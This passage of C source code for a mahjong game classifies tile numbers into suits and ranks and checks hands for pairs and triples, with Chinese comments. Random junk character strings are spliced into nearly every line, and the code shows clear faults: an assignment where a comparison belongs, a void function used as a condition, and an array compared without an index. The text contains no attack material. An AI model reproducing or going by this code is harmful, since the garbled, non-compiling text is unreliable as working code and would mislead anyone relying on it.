else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)3 y  K4 P$ S% d2 M" k! @! G; x
logoo=8;
( f9 w% E7 c+ Q! l7 t2 q, selse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)5 W+ N4 ]3 Q/ f) Q+ }+ d( v
logoo=9;
4 Z& C- y6 s  p: M* {}
/ \- Q4 F5 \, w% L! @7 I9 Lelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)% t: w$ u3 M. Y
{
! Q; ^/ }& a2 y) d2 Ulogo=2;
% x( f1 z2 W  B" v2 L( K7 B$ {" xif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
4 p( E$ G# J. m6 p' \logoo=1;# N; K' U* A( Q2 h7 u0 ^' J" d
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)$ z5 D: v! h2 h* l
logoo=2;
- Z4 b" X6 I6 P- _1 K6 k( M# R# ^else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
* S* z4 R9 O# q6 v+ ilogoo=3;! V! R, @" P  _5 \. J' K3 x. M/ {
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
+ i7 }4 i  j; r. L# ]logoo=4;" {: J* Y% C" E2 @' t9 n: b
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
& ^* I1 M: N: T, C1 |  ologoo=5;
8 y1 n& e2 ]% e0 _else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
9 p% R$ M0 p, @+ alogoo=6;9 f; A2 D6 {& R1 {8 A5 d
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
# }+ `8 |7 Y7 R( o" E' g- |/ ~logoo=7;- m9 z7 K( h* P
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
! }( A& L& s) s! Klogoo=8;
4 a. b+ u- J. H. h( oelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)/ D( R3 T8 N' m( R
logoo=9;- h2 ~3 q) P1 R1 H, S
}1 }  y5 D0 z! y/ p/ }3 d
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)8 E7 r  z$ z- N" e. P
{
9 T+ A( K; |9 O% G- G$ ~2 blogo=3;  J2 q! n9 {) o7 F
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
# E# u3 `2 N. b: R, d0 blogoo=1;; n7 g3 L$ j" h* g" h  b
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
: G% _/ U' W/ {. c+ Jlogoo=2;* m' g* F. ^1 ?+ n6 W* ~
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
! r# j! Q2 D1 ?& ^) Y9 ]logoo=3;
. D# A# ?5 j8 C" P/ `else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
+ @  G9 D8 r+ F  p/ e) xlogoo=4;
, n! H) c$ `0 `. Telse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)+ x( B+ [  W6 \1 E& d+ d
logoo=5;
$ F' P; C$ x7 P, W7 delse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)1 [3 ^2 l- m# D5 D+ G) T' ?
logoo=6;3 K' Q& \3 G3 J/ f! L& n: F3 b4 b0 ]
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
0 c- d, R1 B5 Rlogoo=7;% t0 d4 u' z$ W% F0 q
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
/ B) I. f" |+ V/ _/ Ylogoo=8;: N; y2 I" G* ?! `" E+ G3 h
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
) |4 Z* F5 \; A! i- @logoo=9;5 u) W  Q3 q. k% g9 j
}
' J, M8 t; ]! e+ [6 jelse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108); i# @# v; N% @- ~, d' x7 f
{5 ^2 ], f( d) {2 Y! J; y: F1 ~
logo=4;" V  j) f! a  _7 E; ]
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108), {3 ?4 X5 n$ a7 j- {: Z
logoo=1;
, H* e3 g( p, E# b3 zelse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)& T) _7 `6 L* M& h+ o
logoo=2;3 ~7 M4 o" E. V: `  L0 Q) E. a
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)3 W0 W3 p( N1 [0 w, N( A, Z$ d
logoo=3;2 a4 Z( E: u1 j) z% b( A& A3 r; V
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
+ s  e, n5 w0 zlogoo=4;& F; P$ i! ?) z# T9 t1 Z5 d
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
7 ~7 d7 |0 W  t3 Q: X5 Ologoo=5;
1 j/ w- Y7 T. }% Ielse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)7 p2 G5 H  R6 v& ?! P0 M
logoo=6;
( w' O" ]7 Z+ p: k( Y! \9 l! Velse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)4 ~+ Y/ L+ k5 u" c1 `
logoo=7;
" X. M0 ^: z* \/ S- ?5 q}
  b  W8 ^" @/ Z; M, wwhile(b&lt;=me.m)4 h4 i" H+ W: g" j  J* N; o
{
7 c$ i  F" R8 n) ~+ l8 Tif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
0 G: ~$ n3 c/ L% t: q{! d1 t0 \+ |9 E1 z& i7 m
lg=1;4 T: n1 a9 Y0 z- n- p2 L* Y* r
me.pp.d[0]=1;
/ O* d* ?8 J  f& {+ S3 Jif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0): {$ B; Y& m4 E; f
{9 |. p( @/ o5 x& \  H
lgg=1;
/ L0 C7 j4 n* S% z+ j( L+ mme.pp.d[1]=1;
, D1 Y# d0 k% k! K}3 H; [) S4 g: R0 V' Q4 n) T# x
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
1 H. l9 ?% k0 W/ J; O" Z0 }{
. ?$ }% Z% o$ O) @! E, u* ]lgg=2;
. Y1 e  c9 E) Y; s2 m& K7 H9 s9 xme.pp.d[1]=2;# @+ e/ h; j! |! f! E1 A5 y! E
}! f, w! Z$ n% T1 o
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8). q/ I8 Q0 X6 w1 c1 S
{
' N- N# Y/ g9 z3 Clgg=3;! i5 P1 S+ [; H- }
me.pp.d[1]=3;
0 _1 @1 _+ ?* t" r4 z' n4 V$ p3 o}
; X4 i, A+ O4 w* d' ^4 ~9 Delse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12). y% Y+ W$ F) g. D; |7 C
{% V( ^8 Q+ e' F8 C& h$ \
lgg=4;
! \2 e& @1 N7 J+ bme.pp.d[1]=4;0 h7 x. _- F5 T
}% O, o4 {% V+ p- Y) o
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)) J' ^0 b0 O# S  x
{% ~6 s2 J5 h3 v, f! Z% ]9 i
lgg=5;
) E8 m4 n; h/ cme.pp.d[1]=5;/ Y7 q8 C8 v4 C" N4 _% F  ^. d" H/ R
}
; y5 t- O; V  Selse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
! \( V" p. k8 b+ U, E* b. k3 w8 |{
3 v4 d# S9 q9 Llgg=6;: n! D$ K; @/ \; W! w
me.pp.d[1]=6;' n+ F8 N  Z8 t( e/ X
}7 O4 a2 f# m6 i
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
4 l- b0 v0 @; b$ G{5 M' Q+ p$ @- Z% E# T7 c  I8 E
lgg=7;
% g. F0 B/ I5 B) Y& xme.pp.d[1]=7;; R( p& y& m3 f* o
}
5 ?- [- v# F) L0 x# X; e6 yelse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)  b# z3 O3 }8 ]7 v) k. a
{
& c( G6 R. }( y% F/ qlgg=8;+ e5 G! [6 p" {' B* b8 O
me.pp.d[1]=8;) M# B# h) Z7 }1 o4 y; _, b+ N' u" f
}: f/ O9 z4 X' f6 O
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
# c6 ~5 {' x# |7 c" @( l1 y' F{
4 \) I7 K# N1 W) Olgg=9;) `6 B! F9 ^" @& ^
me.pp.d[1]=9;9 Z! c. D4 k; K
}
* s, ~) G! O7 [}- W# v6 v; h- S
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)' |4 R# M9 f! w2 m: G# A' A  j
{
3 s8 r; w7 @5 v) N0 k7 y5 _lg=2;$ V  h) L* P' [$ U7 k( ~1 A6 E
me.pp.d[0]=2;
! R0 ?+ _. i* b7 `if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)! J3 D5 A. b# @$ k, T' @
{7 H7 ~, _% v# Q
lgg=1;
! ~. E9 W- V5 h7 {: P. Qme.pp.d[1]=1;4 A& M4 R! Z9 R. K- S7 Z
}7 P& O0 Y/ G' G* ?( M
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)* O  A% `: b+ ?4 L) Y/ F
{
% q: g! m4 f' i4 t, u8 vlgg=2;
) F* k3 J! y3 U$ }1 h: q0 F. P. {me.pp.d[1]=2;
5 o- L& Y6 g$ C5 d; G4 X}
; y6 c8 r9 G9 i( i2 b! u# X$ |else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44): g0 ?- B1 {# w8 d
{: O* Z7 y+ w. f0 I
lgg=3;6 @- V' ]3 ]+ C8 t& b
me.pp.d[1]=3;% Z$ E( h6 ^4 i# o9 c2 F
}+ A9 G6 Z4 |( f5 _6 v( |  p- U9 b
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
; G+ L* Q0 E- G( ]! U{) l6 B6 C; }0 `* \$ W
lgg=4;
! p% f: _9 Y2 b1 F; A8 ime.pp.d[1]=4;7 g! G" q3 V4 {7 M" t  J
}
/ D5 N5 C+ j% m6 t& c' uelse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
0 E5 F3 e2 _& b- u& j  I{; Y7 n  u+ S% `; h
lgg=5;2 p1 y, B3 x6 S! f/ |) f( k
me.pp.d[1]=5;* e' g3 t, E& J+ K8 w8 }
}
! y, `+ ?# n' f+ J" x3 \" ^* }0 ~6 \% ]else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)' ~6 e% G4 ], Q
{
+ |" E) A1 E$ l% Dlgg=6;
) q% u- ?3 W0 Q1 U+ _9 p! rme.pp.d[1]=6;
1 Q8 M/ m6 y6 F+ O* R/ o}
$ Y+ l5 u6 |/ O  }* N' Delse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
/ X- |; S* g; E& C3 h3 e( ^{. ^" @- [- z3 ]2 ^& S6 B% e
lgg=7;0 R8 Y% K. }8 M. M) b
me.pp.d[1]=7;  O4 Y. m3 T; t7 W8 L
}
; ]( a/ Q+ \: l1 Y7 O3 c# nelse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)0 p9 ^: l  P) t( k% O: F4 ]- f2 L
{
+ y9 h  ]: g9 k+ `lgg=8;
0 A3 J/ `+ a/ t% L1 o2 hme.pp.d[1]=8;& J; [' w1 s8 c$ X" E9 J/ l/ T4 Y( b
}
2 n" R0 j- y9 S2 A5 S9 }. Z" P9 ~else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
- V1 N8 C9 o7 A{/ P' m+ t* r' ~; I& @0 h5 o
lgg=9;
! a  P/ O" `% n. Ome.pp.d[1]=9;- \0 W' A8 r5 j+ m- B3 ?8 H
}  l% Z2 I; }# s8 p( k. T( f
}! s1 z( [" y* f# @
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)+ p# G! }$ ~& x9 E+ t% ^- [
{( o; X- M8 y) J/ w6 N
lg=3;9 h( q! ^, R0 W* Y1 U4 b: v6 o
me.pp.d[0]=3;
7 L8 p. o5 `1 Q. w% vif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)1 I* ]( k: |$ {) [
{2 K! R2 u# O+ d
lgg=1;( t4 W: r' ~/ Y3 [
me.pp.d[1]=1;3 z  U3 A$ Q! }- P6 P
}" G7 l4 j  U6 v1 l$ Q
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)# n+ k, k% |0 ~, k, @8 w
{  B4 @; f# ?5 ]- }; f
lgg=2;
% d2 [4 C; A3 G: P% K+ Cme.pp.d[1]=2;
$ X  T4 G& c' u5 p}
  R, C0 [0 @  d! ]3 U, N/ M7 felse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)# V! m  k( @& b+ T
{
9 [. h7 |/ _/ h% v* R+ vlgg=3;7 g* N  }8 u' B& g$ \1 i
me.pp.d[1]=3;- u0 s* W2 `5 A. B" C* e
}
, J' j, B: U( g- i* _  m& a+ _( [else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
: k& K6 \  `- k( o{: @5 {9 o2 T4 R" T+ m- b  V+ q
lgg=4;! z) ]2 v5 X( m+ O5 W3 M7 Z1 c) G
me.pp.d[1]=4;
) o0 u) a- g; a6 [' G4 W% B}
( l4 c' [: f" ]: y: S+ Velse if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
% T& g) _! g6 N7 g, r4 m{
& I7 x6 a0 O4 _! p; Y! @0 [lgg=5;
/ C3 N9 Z# s7 G  ]3 R2 Ame.pp.d[1]=5;8 b( q7 T; a/ V8 l: h
}
. ^, Z+ B5 n5 v5 [' N; r5 telse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)4 V" v) l  O* f- _0 F/ K
{: y9 m' ~8 c7 o
lgg=6;
# ~. {6 n6 Z& C9 {6 cme.pp.d[1]=6;0 {+ x4 ^1 t& I$ X' d! N- j0 o
}$ z1 m( S6 j3 q+ U1 B
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)+ B2 t  J4 _6 `/ W$ B
{" Y, z; y: [* W2 o
lgg=7;
- u3 b6 E4 u' }me.pp.d[1]=7;
7 K6 B5 O( @' M0 z: D}
' R' A8 D! {" j' A1 qelse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)% D5 ^/ Q) `' e7 W
{1 |4 `: v) y& \' r9 _- m& m
lgg=8;) M/ q3 s1 A, [: p
me.pp.d[1]=8;- d% V$ f  q" u4 }# n
}, x5 o( k  ]$ `+ ~% X8 O4 v# a9 d
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)9 }: r5 g' r) N( F- T! g' p
{
, ?( F1 o6 j- |. s) S3 Rlgg=9;
( H$ O8 l: s  _& Cme.pp.d[1]=9;
  e2 z% s# V* i, L}" K3 h4 P" E+ `" Y9 D
}; F+ T1 O* }9 U1 K4 j6 }5 W( w) k
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
6 {+ q# H# h& x7 `4 j+ Z) c0 q{/ e. s* c' w9 t5 I! {/ T) j, G
lg=4;
  U+ j& r2 F& N$ lme.pp.d[0]=4;5 }- A: |; y4 z  I
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
  {$ [) h7 [% A0 z{  b# I. m  V, z- w6 j2 I, Z" ~
lgg=1;
7 _/ P' t9 T& t4 t& |. l2 Dme.pp.d[1]=1;) B' d& V2 ]8 p( W/ [
}' j% o# u" l! i4 p9 Q( r* L
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
' ^- I, f2 G; T* v" b5 h& |0 ^{
' f4 @1 t  D7 Z3 ilgg=2;
: H2 S/ ]* ]$ g9 @. ^me.pp.d[1]=2;# l5 |8 C& q2 U: K* G  H( M
}. ?; b+ ^% ?9 c( @# L; D7 ^' K
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
$ \( W: ^8 \+ @8 |( I{
3 l0 E' W3 w/ V: W0 ylgg=3;# |5 u9 R, J2 s" i
me.pp.d[1]=3;
1 [6 [4 ~/ e5 D& u7 h7 `}
7 w. C; y$ I$ gelse if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120). |& Z* V/ t" ~2 u
{
* L2 _0 g* z0 F( o4 |lgg=4;" f+ l6 I/ W" T. R& W1 ]4 }
me.pp.d[1]=4;
/ e  t4 ]& @+ X* o, a' x}
% r) s2 }7 O3 V& Q% selse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
3 y4 B# _- K1 h& G  B/ Z: _* Y$ Q{* _; u5 z7 q, m) D& U
lgg=5;3 q8 b; ?+ b& m* F7 c" G: R
me.pp.d[1]=5;8 x1 V+ ]) o; Y1 ^2 F' G
}& d5 K6 O6 r, P% A3 n% |, }
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)6 s; K4 o; x2 K8 l9 A" g
{) J! V: H+ b; l# E' q$ ^" [# Q
lgg=6;$ _5 D! E+ ^9 _0 \. i& h2 R; o- y8 z
me.pp.d[1]=6;
7 p2 j5 l1 R& U: G}0 L+ r5 r. [) S
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)$ ~( \) b7 v. V/ M
{3 ]1 v; U9 x4 p5 m7 O/ P7 A
lgg=7;
. e+ d5 c9 Z6 Cme.pp.d[1]=7;% m: s5 ?. S+ E3 e7 _2 E# {
}
  t+ {! W9 Y, d) y! T+ |$ c0 Z}
: h# ?0 k4 w4 \6 S: i( `& l}
3 y- |' S! k$ P% A}6 U4 g( h4 R# o! M! M
void istwo(testt): q4 F5 B7 [9 f6 h
int testt[];
7 b% z8 B& Y6 x, p( x; _/ m8 `* }( ^9 _{ if(testt[0]==testt[1]): E6 ]" {8 \7 u7 m1 @8 w& i" ?
second++;
/ F/ W) m) P: n, ^& q}
7 ]9 [" N/ s! M' l" t3 g& Nvoid isthree(testt,n)
9 K' |9 g! P- s6 i+ xint testt[],n=0;
, R5 d1 {  B0 o, I{ int i,j,flage=0,lianx=0,same=0;6 c. E9 Z9 s3 a2 X1 n
n=n/3;. N5 h4 f4 d/ y* _
for(j=0;j&lt;n;j++)+ b' A7 Q. |7 L1 a
{, h- C6 u3 c; D# d& ^( C/ m; f
for(i=j*3;i&lt;2+j*3;i++)
/ l! h0 k7 k  `0 u( j{
" [% w! W9 c' w9 N/ K) ~if(testt==testt[i+1])
  \/ @& h8 e+ Q+ v9 n: ]same++;
, s/ y6 n. W6 W# Y; W- e; |: Jif(testt[i+1]-testt==1)% |' {6 W- m- W8 c5 K
lianx++;
) s1 C& Z1 U7 n}
3 F5 J7 p5 w8 N" X$ p( W% sif(same==2)
8 ]4 l5 Q6 R' B8 ~  C: j# G9 |threes++;- w4 L. [" E; y
if(lianx==2). a( V; u) H) i# ^
threes++;
) l) r4 K. k+ G+ G5 Esame=0;
  |# O% ]3 B% Z, [% Clianx=0;
, o& j" e- L) X' R/ ?# ?5 k. O}
; J( _2 W% r; w4 k: {: h: v}. I0 s- p+ @1 |) m$ ?3 P% ]8 g
void panduan() /*本程序的精髓*/; T! w9 L- _: D# Q( r
{int data[14];, ?! p* X2 O4 i6 \$ g2 l
int pw[14];: j3 f0 Z( N+ t% C" q) _: ^- g
int pt[14];
' E& r  K2 Y  c; H" s% B* w( Y* gint pi[14];: Y2 j; R: X5 \+ _: V
int pf[14];6 C& w1 A. l, a& h) z2 O! e6 d9 a: f
int test[12];9 s( l! K# X. C5 l. d( G
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;) [: r8 f1 O8 X$ o. p/ y, H
for(jj=0;jj&lt;=me.m;jj++)) q7 c) J  m1 h4 [5 Y) J
{
' d+ x; n6 a0 E: L6 n2 e7 fif(me.pp[jj].d[0]==1)
  g) k; y9 a; Tdata[jj]=me.pp[jj].d[1];
4 C5 t; l  o. Z$ |8 x& Eif(me.pp[jj].d[0]==2)* Y1 ]4 J4 _2 l2 q$ R, t; Z: [: |
data[jj]=me.pp[jj].d[1]+10;: A- z$ V' A6 q: w1 v
if(me.pp[jj].d[0]==3)
: P) l! B' @. R  ]8 ?3 O" ydata[jj]=me.pp[jj].d[1]+20;' y; J7 z( [  F8 t8 V
if(me.pp[jj].d[0]==4)
( R; H3 r/ Z8 e8 tdata[jj]=me.pp[jj].d[1]+30;
& l- E& }- Z9 b, Q}5 L4 o: ]3 Z0 E2 E0 j. {' x' H6 E
if(logo==2), w* y! T" O$ C5 \$ X
w=logoo+10;: ?3 I  i( f4 f: H3 d6 R
if(logo==3)1 U7 Q& c: i; @
w=logoo+20;
  ?; ^0 i. X* z# jif(logo==4)1 b% R4 v% {2 a0 P& @- X
w=logoo+30;9 j5 N/ t( \$ A2 S% ]! s* ~1 N/ |
data[computer.m+1]=w;7 z: H  S' b9 N9 d, w9 N
for(mm=0;mm&lt;=computer.m;mm++)/ M$ I- m) X7 l' r. K
for(nn=mm;nn&lt;=computer.m;nn++)
! X7 H! Y5 O& t2 o4 `if(data[mm]&gt;data[nn+1])
, o4 k( X) t% v/ J7 E{7 s" f" Q, j5 _$ ~- q
tpp=data[mm];/ m, y' {. \" D' Z$ v# u5 L  u
data[mm]=data[nn+1];# x) m+ x5 H$ j1 R7 x$ r
data[nn+1]=tpp;. |$ b4 M0 s+ h# M% z1 a0 e8 f6 \
}/ S3 D3 O, p& e% X: U) g0 l: w
lp=0;0 Q3 J2 x& ~, ?  S- l4 D) r: j
while(lp&lt;=computer.m)
6 T' z2 X2 _1 r1 W{ if(data[lp]&lt;10)1 A1 n3 B! K/ I& ~* A7 q3 R& g' ?
pw[ww++]=data[lp];
" |" _2 }$ E7 L% k. v* Eif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
) ~0 Q# M. a& T- H0 w' Vpt[tt++]=data[lp];7 t8 M- o4 k  M! i
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)" {2 t) y7 p4 U$ O7 e, C
pi[ii++]=data[lp];
8 {4 s1 u) y3 u0 _  R! hif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)+ L, d' N1 x2 w) T9 I4 o/ V
pf[ff++]=data[lp];
. L' `# ~4 C' v: Olp++;. P, z1 A5 r( b+ d5 F4 I- R0 K" f
}
, t  y7 `7 `/ K( ^if(ww==2)5 \- |: }+ p1 U; L
istwo(pw);
% M4 x! Y+ d: M- ]6 D! Y. Gelse if(ww==3)
6 k2 }* R3 n7 y6 ?isthree(pw,ww);) {% e& a& F  ]- J) [
else if(ww==5)- h: y; F$ f- d
/*pw[5]原始牌数组,假设已经升序排列*/" {) l! J/ M. I8 {0 p5 ?
/*test[3]用来放置测试牌的数组*/* n; W7 M# F% t6 D  `$ ?+ O2 d0 h
for(i=0;i&lt;4;i++)9 M# ?1 u4 p# C: x9 H
{
0 U; m9 M  Z' c% O  ]* W0 o9 @for(j=0;j&lt;2;j++)+ b  D$ ]3 N' k- M. o6 }2 M
{test[j]=pw[i+j];
6 [) F9 P( j' j+ G9 V+ f: Z}% C0 S' X+ U) B- }! |5 k/ l
if(istwo(test))0 ^# F  f& F8 a" H4 s
{ ill=0;3 R5 u2 T5 y" \0 v) `
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/+ @  E, X! q; `. W! S& \+ N
{if(kl==i)
4 i1 ?; f; j$ k{
% P3 U3 W! q( s! O+ Q7 |# rkl=kl+2;5 y+ {/ T1 c$ J) g! I
if(kl==5)
( D# K9 |2 e; ]break;
! [1 e6 Y/ o) t5 t2 a( ^9 h7 R}; }9 P+ [, D. C7 G( U/ Y. ^. h* t0 l
test[ill++]=pw[kl];
$ T- w# w& n3 c# H}( J' P. a+ n0 F/ m
isthree(test);4 x, B6 [, n! m2 q# X( X9 O: \
}
6 n/ ^3 ~& b' K/ P. |' U}
9 k0 d" K& T: R& \4 O' E9 R' ?else if(ww==6)( t1 s- }* w/ b% R6 p  m
isthree(pw,ww);
/ M+ e' a5 E* `% j) l: Z9 l9 j6 welse if(ww==8)
& Y3 b; [- {/ K6 f+ N7 ffor(i=0;i&lt;7;i++)8 Q' O. k: A) F  N+ z" v7 ~
{
2 T% `  y9 [3 c1 X! S. P- @2 vfor(j=0;j&lt;2;j++)
/ f8 s* J9 i8 }{test[j]=pw[i+j];
9 _7 w$ s& \/ E: t9 q! G' Y}
0 s; k! ^3 m  `' Tif(istwo(test))
8 N% \8 `8 x) Z" X; O# T' }6 i{ ill=0;" Z& g  h$ ?# C7 \& v' j4 Z; R
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
  W- [) V% `& N+ K! b- d' Q. N* i{if(kl==i)' R3 W+ Y2 ]8 V# d! |/ Y6 r
{
3 _0 n8 M2 I# P9 lkl=kl+2;
0 x/ ^* I& C. I. H# {) X- R) nif(kl==8)0 y. l% ^2 z; u9 y: I6 ]
break;
9 G2 ~  {0 K; n' a. x}5 X$ j+ x: ~0 t3 _* k; G8 V
test[ill++]=pw[kl];, s  q# ^1 p4 a* D
}
" G: D! }# J" o& g% {# Z- Eisthree(test,ww-2);
* q7 ^9 @0 f7 ^" N2 ^}
& T# s" R  C0 B5 \: j# V# A" V} 0 ^* X. Y7 ~: K
else if(ww==9)) g" o& w6 G5 F" {( o. @" d# w4 D0 E
isthree(pw,ww);: R8 w( f7 S; G. @# q  D- Z* r
else if(ww==11)
+ g7 \- K( |( N! Q3 ]for(i=0;i&lt;10;i++)
! H7 Y) A1 x7 u" l! z, c{
- G; n' u; s5 \: S+ s0 l* h. Q/ q, ~for(j=0;j&lt;2;j++)% U' a' {6 Q$ H4 W9 C2 x
{test[j]=pw[i+j];
+ k( Q' Z0 F6 E7 Z! M0 f7 o1 i7 t}1 j: p9 {. v1 g4 h3 |1 e% u
if(istwo(test))
# T; M( N7 W" k- @* P{ ill=0;
1 z4 y$ D+ h9 m% e, p7 Hfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
: T( |- N9 s+ \{if(kl==i)6 A' h$ e& W, m7 v  I
{+ X) h1 O+ y. l% M# d! f% S
kl=kl+2;
4 }" `7 k0 ]1 l4 tif(kl==11)
2 p2 \0 j0 W6 [2 ^break;( E- ]" M. R2 @: w: O  c) E7 P
}. K* d& l3 C2 u. y: S
test[ill++]=pw[kl];3 T& s$ b  x( K  @
}% j" b  A' u1 H8 c5 c
isthree(test,ww-2);
) Y. [$ y; i% ]# i* c( ^/ |}
) j7 X- P) S5 W7 n} $ @4 k, n" ~& S* D6 v( x
else if(ww=12)
# [+ Z& O1 c3 g) @- M& V5 Jisthree(pw,ww);2 o/ _+ {) k* V9 C
else if(ww=14). |* s$ ~0 z$ |! [& Q/ b
for(i=0;i&lt;13;i++)
0 T" A; y9 R, M1 l, D) J{
# C! h  w8 y2 M/ s/ Yfor(j=0;j&lt;2;j++)
: Q1 h; j9 u" V2 a{test[j]=pw[i+j];! {1 u! [" k0 V! E: U
}
. s3 [! k% j% f: H. [( nif(istwo(test))0 G& p) m- B# @8 W7 n  E6 m& ^
{ ill=0;
% j# N* `; b/ X, f7 wfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/- P/ g( G5 n& ~5 P5 @# F8 T
{if(kl==i)
6 |  @% ^( B" @; t  A" ?, Y  {% j{
+ I5 V0 X, k. D. j. i* O0 b5 Mkl=kl+2;
4 r# b3 I3 M  I7 O, g6 Lif(kl==14)
$ L) X6 f2 c6 n0 h' Gbreak;
' [3 \8 U+ Z7 R5 O5 n# [( Z# R}" }9 I  [: j( h) W- e
test[ill++]=pw[kl];- ~0 Q1 T- Q  o; S
}% b9 Z, F, ?% C2 K* ~; X* g
isthree(test,ww-2);
% {  H. T2 N4 U2 O}" s" U& F" t$ s1 f8 S+ c! Y0 I' h: Y
}/ L7 G' H4 N5 `1 u
if(tt==2)6 b7 ^+ K, n' y/ ]2 A! Y+ y) i) m3 \
istwo(pt);
  N# O- k- H) O/ F% belse if(tt==3)
/ u& ?4 \0 t# U/ [: u2 u6 Tisthree(pt,tt);
3 x8 J: z1 Q9 y4 P4 u  felse if(tt==5)) q6 j1 M9 ~7 x) d2 f2 |5 l* t
/*pt[5]原始牌数组,假设已经升序排列*/9 c; \. T, S7 _- g% s6 d" S
/*test[3]用来放置测试牌的数组*/, j3 g+ m: O' `# g( N( R5 f
for(i=0;i&lt;4;i++)' A) W9 g. l6 Q8 Z
{
& H0 g" |$ u& Z  l" ]6 @2 hfor(j=0;j&lt;2;j++)
- Q8 Z: H# f1 R$ M  \1 F! f, S& z7 a{test[j]=pt[i+j];
* Y! N" H5 {7 S: P1 Q4 [! H}
+ L4 g- ]6 i, G( h7 Kif(istwo(test))
6 W0 x4 j/ S! A* {{ ill=0;
; ~" \# v8 c" t' q$ \& z, X+ Ifor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
1 f& q' k9 N( L& h- ~  Q* k{if(kl==i)
